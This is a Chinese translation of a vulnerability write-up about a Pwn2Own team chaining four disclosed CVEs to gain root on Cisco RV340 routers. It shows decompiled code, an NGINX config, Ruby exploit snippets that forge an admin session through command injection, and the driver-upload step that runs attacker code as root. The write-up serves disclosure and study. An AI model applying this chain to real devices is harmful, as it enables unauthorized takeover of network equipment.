攻击者是如何利用4个漏洞实现Cisco RV340 RCE的

匿名者  994天前

1.png

在2021年11月的Austin pwn2own大赛期间,我们发现了四个漏洞,并利用这些漏洞成功入侵了路由器局域网(LAN)端的Cisco RV340设备。其中,编号为CVE-2022-20705和CVE-2022-20707的漏洞是由包括我们在内的多个参赛者同时发现的,而编号为CVE-2022-20700和CVE-2022-20712的漏洞,则只有我们的团队发现了。本文中所使用的漏洞如下:

  • CVE-2022-20705:会话管理不当漏洞
  • CVE-2022-20707:命令注入漏洞
  • CVE-2022-20700:权限提升漏洞
  • CVE-2022-20712:上传模块远程代码执行漏洞

漏洞CVE-2022-20700和CVE-2022-20705影响以下9种型号的思科设备:RV160、RV160W、RV260P、RV260W、RV340、RV340W、RV345和RV345P。而漏洞CVE-2022-20707和CVE-2022-20712同时影响以下4种型号的思科设备:RV340、RV340W、RV345和RV345P。更多细节可以访问https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-smb-mult-vuln-KA9PK6D

在这篇文章中,我们将为读者详细介绍在pwn2own比赛期间,我们的团队如何是利用上面四个漏洞成功拿下Cisco RV340设备的。

简介

通过组合利用多个漏洞,我们可以成功获得Cisco RV340在LAN端获得远程root用户权限。我们的目标是一个用于提供管理门户的Web服务器:它运行在NGINX服务器上,在端口80监听HTTP连接,在端口443监听HTTPS连接。首先,我们利用身份验证绕过漏洞和逻辑漏洞成功实现了命令注入。由于这个Web服务器是以用户www-data的身份运行的,因此,我们还利用了一个特权提升漏洞,以从www-data用户提升至root用户的权限。

您可以从思科网站下载固件映像RV34X-v1.0.03.22-2021-06-14-02-33-28- AM.img。固件文件格式是u-boot传统的uImage格式,在Linux机器上可以使用u-boot-tools包中的dumpimage工具进行提取。这个映像中包含一个UBIFS文件系统,可以使用ubidump工具提取该文件系统。通过运行以下命令,就可以从固件中提取所需的文件:

dumpimageRV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img

dumpimageRV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img -o rv340-v1.0.03.22.tar.gz

tar -xzf rv340-v1.0.03.22.tar.gz

tar -xzf fw.gz

ubidump --savedir .openwrt-comcerto2000-hgw-rootfs-ubi_nand.img

这时,将创建一个文件夹“rootfs”,其中包含本文所用到的文件。

会话管理不当漏洞(CVE-2022-20705)

命令注入漏洞存在于/upload这个统一资源标识符(URI)的处理程序中,而这个处理程序位于二进制文件/www/cgi-bin/upload.cgi中。要成功到达上传处理程序中的易受攻击的代码,我们必须首先跳过以黄色突出显示的访问控制,该访问控制是通过NGINX配置文件/etc/NGINX/conf.d/web.upload.conf实现的,具体如下所示:

location /upload {

         set$deny 1;

       if (-f /tmp/websession/token/$cookie_sessionid) {

                set $deny "0";

       }

       if ($deny = "1") {

                return 403;

       }

         upload_pass/form-file-upload;

         upload_store/tmp/upload;

         upload_store_accessuser:rw group:rw all:rw;

         upload_set_form_field$upload_field_name.name "$upload_file_name";

         upload_set_form_field$upload_field_name.content_type "$upload_content_type";

         upload_set_form_field$upload_field_name.path "$upload_tmp_path";

         upload_aggregate_form_field"$upload_field_name.md5" "$upload_file_md5";

         upload_aggregate_form_field"$upload_field_name.size" "$upload_file_size";

         upload_pass_form_field"^.*$";

         upload_cleanup400 404 499 500-505;

         upload_resumableon;

}

 如上面突出显示的代码所示,会话ID的值(最初是在客户端成功认证后在服务器端生成的)是从cookie中读取的,而这个cookie则是通过HTTP请求传入的。这个会话ID的值被用来构建一个路径,以测试在请求被允许之前是否存在一个有效的会话文件。如果没有找到有效的会话文件,该请求将通过403禁止响应被拒绝。其中,NGINX负责解析HTTP cookies,并通过src/http/ngx_http_variables.c!ngx_http_variable_cookie生成$cookie_sessionid变量。因此,这里并没有对这个cookie文件中会话ID的值进行必要的过滤或验证,这样的话,攻击者就能够传递一个任意路径来作为会话ID的值,这个路径可以解析为一个有效的文件,使检查得到满足,尽管这个有效的文件可能并不是一个实际的会话文件。例如,如果我们传递“../../../etc/firmware_version”作为会话ID,检查也能顺利通过,之后,我们就可以调用/upload的CGI处理程序了。值得注意的是,/tmp/websession/token/目录默认情况下不会在引导设备时出现,只有在用户第一次成功登录时才会创建。为了克服这一点,攻击者可以通过一个内置的访客账户成功登录,该账户的用户名和密码都是“guest”。执行这种访客登录时,将创建websession目录,但访客账户不能访问Web UI,所以不会创建会话。由于这个原因,我们不能使用访客会话来定位/upload URI,但是,我们可以借助于使用这里描述的认证绕过漏洞。

现在,我们已经可以调用/www/cgi-bin/upload.cgi二进制文件中的/upload处理程序了。这个二进制文件的主要功能将从HTTP cookie中提取会话ID,并对相应的字符进行一些基本的安全检查,以确保会话ID只包含字母、数字和几个允许的字符,如下面紫色显示的“^[A-Za-z0-9+=/]*$”,然后,它将调用黄色显示的相对虚拟地址(RVA)0x2684处的、易受攻击的函数:

           v16 = strcmp_1(REQUEST_URI,"/api/operations/ciscosb-file:form-file-upload");

           if (v16 != 0) {

                v17 = strcmp_1(REQUEST_URI,"/upload");

                if (v17 == 0 &&HTTP_COOKIE != 0) { // if the URI is /upload and we have a sessionid in thecookie

                    v18 =strlen_1(HTTP_COOKIE);

                    if (v18 < 81) { //sanity check sessionid characters

                        v19 =match_regex("^[A-Za-z0-9+=/]*$", HTTP_COOKIE);

                        if (v19 == 0) {

                            v20 =StrBufToStr(local_0x44);

                           func_0x2684(HTTP_COOKIE, content_destination, content_option,content_pathparam, v20, content_cert_name, content_cert_type, content_password);

                        }

                    }

                }

           }

需要注意的是,为了绕过身份验证,我们需要传入点号字符,而这样的话,则无法通过这个正则表达式的检查。幸运的是,提取会话ID的逻辑并没有考虑HTTP cookie中传递多个会话ID值的情况,而NGINX将使用HTTP cookie内第一次出现的会话ID的值;而位于正则表达式检查之前的upload.cgi二进制文件,将遍历HTTP cookie并使用它发现的最后一个会话ID值而不是第一个。我们可以看到,下面的while循环在找到了第一个会话ID后并没有停下来,具体如黄色代码所显示:

  

 if (HTTP_COOKIE != 0) { // if an cookie is available

       StrBufSetStr(cookie_str, HTTP_COOKIE);

       __s2 = StrBufToStr(cookie_str);

       next_semicolon = strtok_r(__s2, ";", &saveptr); // startto split the semicolon deliminated cookie

       HTTP_COOKIE = 0; // this variable will become the sessionid string

       while (next_semicolon != 0) {

           sessionid = strstr(next_semicolon, "sessionid=");

           if (sessionid != 0) { // advance past "sessionid=" and set thevalue

 

                HTTP_COOKIE = sessionid + 10;// advance past "sessionid=" and set the value

 

           }

           next_semicolon = strtok_r(0, ";", &saveptr); // keepsearching

       }

    }

 这允许攻击者在HTTP cookie中提供两个会话ID值。其中,第一个sessionid值作为身份验证绕过的一部分,第二个sessionid值包含有效的字符,但本身不需要代表有效的会话。这第二个sessionid将被upload.cgi使用。

命令注入漏洞(CVE-2022-20707)

在upload.cgi中位于RVA 0x2684处的易受攻击的函数需要几个参数,这些参数来自于攻击者的HTTP POST请求。这些参数是用于配置上传操作的多部分表单字段,其检索方式如下所示:

   // upload.cgi!main+0x164

   jsonutil_get_string(data_0x13248 + 0x4, &content_file_param,"\"file.path\"", -1);

   jsonutil_get_string(data_0x13248 + 0x4, &content_filename,"\"filename\"", -1);

   jsonutil_get_string(data_0x13248 + 0x4, &content_pathparam,"\"pathparam\"", -1);

   jsonutil_get_string(data_0x13248 + 0x4, &content_fileparam,"\"fileparam\"", -1);

   jsonutil_get_string(data_0x13248 + 0x4, &content_destination, "\"destination\"",-1);

   jsonutil_get_string(data_0x13248 + 0x4, &content_option,"\"option\"", -1);

   jsonutil_get_string(data_0x13248 + 0x4, &content_cert_name,"\"cert_name\"", -1);

   jsonutil_get_string(data_0x13248 + 0x4, &content_cert_type, "\"cert_type\"",-1);

   jsonutil_get_string(data_0x13248 + 0x4, &content_password,"\"password\"", -1);

 易受攻击的函数将根据pathparam字段中指定的上传类型创建一个json对象来表示这些输入参数;例如Configuration、Firmware、Certificate、3g-4g-driver或User。 例如,3g-4g-driver类型的上传将创建以下带有攻击者提供的文件参数、选项和目标字段的json对象:

int __cdecl func_0x2104(intcontent_destination, int content_fileparam, int content_option)

{

   // ...

       StrBufSetStr(v8, "FILE://3g-4g-driver/");

       StrBufAppendStr(v8, content_fileparam);

       v9 = json_ob ject_new_string("2.0");

       json_ob ject_ob ject_add(json_obj1, "jsonrpc", v9);

       v10 = json_ob ject_new_string("action");

       json_ob ject_ob ject_add(json_obj1, "method", v10);

       json_ob ject_ob ject_add(json_obj1, "params", json_obj3);

       v11 = json_ob ject_new_string("file-copy");

       json_ob ject_ob ject_add(json_obj3, &string_jsonrpc + 0x4, v11);

       json_ob ject_ob ject_add(json_obj3, "input", json_obj2);

       v12 = json_ob ject_new_string("3g-4g-driver");

       json_ob ject_ob ject_add(json_obj2, "fileType", v12);

       json_ob ject_ob ject_add(json_obj2, "source", json_obj4);

       v13 = StrBufToStr(v8);

       v14 = json_ob ject_new_string(v13);

       json_ob ject_ob ject_add(json_obj4, "location-url", v14);

       json_ob ject_ob ject_add(json_obj2, "destination", json_obj5);

       v15 = json_ob ject_new_string(content_destination);

       json_ob ject_ob ject_add(json_obj5, "firmware-state", v15);

       json_ob ject_ob ject_add(json_obj2, "firmware-option",json_obj6);

       v16 = json_ob ject_new_string(content_option);

       json_ob ject_ob ject_add(json_obj6, "reboot-type", v16);

然后,将这个json对象转换为字符串形式,并通过popen执行curl命令来完成上传操作。

   if (json_obj != 0) {

       json_str = json_ob ject_to_json_string(json_obj);

       sprintf(&buff, "curl %s --cookie 'sessionid=%s' -X POST -H'Content-Type: application/json' -d '%s'", v3, sessionid, json_str);

       debug("curl_cmd=%s", &buff);

       __stream = popen(&buff, "r");

       if (__stream != 0) {

           fread_1(&buff[2048], 2048,1, __stream);

           fclose_1(__stream);

       }


函数json_ob ject_to_json_string来自共享对象/usr/lib/libjson-c.so.2.0.1。但是,这个函数没有对json值中的单引号进行转义处理。这允许我们在json对象的输入参数中包含一个单引号,因此,我们可以在构建的curl命令中进行命令注入攻击,如上面的黄色显示。其中,命令是以www-data用户的权限运行的。

值得注意的是,在不安全的sprintf调用中存在一个基于堆栈的缓冲区溢出漏洞。写入的缓冲区大小为2040字节,如果我们传入一个攻击者控制的表单字段,只要该字段足够大,我们就可以溢出堆栈上的缓冲区。由于利用命令注入漏洞更容易、更可靠,所以,我们将就不利用基于堆栈的缓冲区溢出了。

特权升级(CVE-2022-20700)

为了以root权限执行任意代码,我们可以利用命令注入漏洞伪造一个管理会话,然后利用这个会话上传3g-4g-driver存档,其中包含攻击者控制的shell脚本,并以root权限执行。

为了伪造管理会话,我们可以在/tmp/websession/session文件中写入一个描述会话的json对象。这是路由器验证会话ID时将要查询的文件。我们还必须创建一个空文件,并且用有效的会话ID值为其命名。而有效的会话ID是ba se64编码的字符串,包括用户名、客户端的IP地址和一个时间戳。我们的exploit将生成如下所示的管理会话:

           fake_username = "sf"

 

           admin_sessionid =ba se64.encode64("#{fake_username}/#{http.local_address}/#{uptime_seconds}").gsub("\n","")

 

           websessions = % Q[{

           "max-count":1,

                "#{fake_username}" :{

               "#{admin_sessionid}":{

                   "user":"#{fake_username}",

                        "group" :"admin",

                        "time" :#{uptime_seconds},

                        "access" : 1,

                        "timeout" :1800,

                        "leasetime" :0

                }

           }

       }]

 

           websessions.gsub!("\n", "\\n")

 

           result = cisco_rv340_wwwdata_command_injection(http, "echo -n -e#{websessions} > /tmp/websession/session; echo -n 1")

 

           if (result.nil ? or result.to_i != 1)

                $stdout.puts("[-] Failedcreate /tmp/websession/session") if @verbose

                return nil

           end

 

           result = cisco_rv340_wwwdata_command_injection(http, "touch/tmp/websession/token/#{admin_sessionid}; echo -n 1") 

上传模块远程代码执行漏洞(CVE-2022-20712)

 

现在,我们有了一个管理会话的ID,接下来,就可以通过伪造的管理会话ID向URI端点/upload和/jsonrpc发送有效的HTTP POST请求,并成功地将3g-4g-driver上传至路由器。上传的驱动程序的格式应该是tar.gz。脚本/usr/bin/file-copy将处理上传过程,具体如下所示:

 

          INSTALL_USB_DRIVERS = "sh /usr/bin/install_usb_drivers"

           # ...

           # Download drivers from PC case          

           if["$filetype" = "3g-4g-driver"]; then

                checkPC = `echo$source_location_url | grep "$FILE_DRIVER"`

                if[-n "$checkPC"];then

                    orig_filename = `ba sename$source_location_url`

                    # We assume that web serverwill put the file to correct location before calling this RPC

                    if[-e "$DRIVER_DL_PATH/$orig_filename"];then

                        `$INSTALL_USB_DRIVERS$DRIVER_DL_PATH / $orig_filename 2 > / dev / null 1 > / dev / null`

                        errcode = $ ? 

我们可以看到file-copy将调用/usr/bin/install_usb_drivers并传入上传驱动程序文件的路径。脚本install_usb_drivers的内容如下所示:

#!/bin/sh                                                

 

DRIVER_FILE = `ba sename $1`

DRIVER_FILE_DIR = `dirname $1`

DOWN_DIR = "/tmp/"

INSTALL_STATUS = 0

ASDSTATUS ="/tmp/asdclientstatus"

 

if["$DRIVER_FILE_DIR" !="."]; then

   #Absolute path

   if["$DRIVER_FILE_DIR" != "/tmp"]; then

       `cp - f $1 $DOWN_DIR`> /dev/null 2 > &1

   fi

fi

 

DRIVER_DIR = "/tmp/driver"

mkdir - p $DRIVER_DIR

 

# Extract the file

tar - xzf $DOWN_DIR$DRIVER_FILE - C$DRIVER_DIR

if["$?" - eq 0]; then

    #Install the driver

   `/${DRIVER_DIR}/sbin/usb-modem install` > /dev/null 2 > &1

   INSTALL_STATUS = "$?"

else

   INSTALL_STATUS = 1

fi

 

rm - rf "$DOWN_DIR/$DRIVER_FILE"

rm - rf "$DRIVER_DIR"

 

echo $INSTALL_STATUS > $ASDSTATUS

exit $INSTALL_STATUS 

通过上面以黄色突出的部分可以看到,驱动程序tar.gz文件被提取到文件夹/tmp/driver/中。然后我们可以看到,如紫色突出显示的那样,在提取的驱动程序中包含的文件随后被执行。攻击者可以在驱动程序tar.gz文件中提供usb-modem文件,从而以root权限执行任意命令。

原文地址:https://blog.relyze.com/2022/04/pwning-cisco-rv340-with-4-bug-chain.html

最新评论

昵称
邮箱
提交评论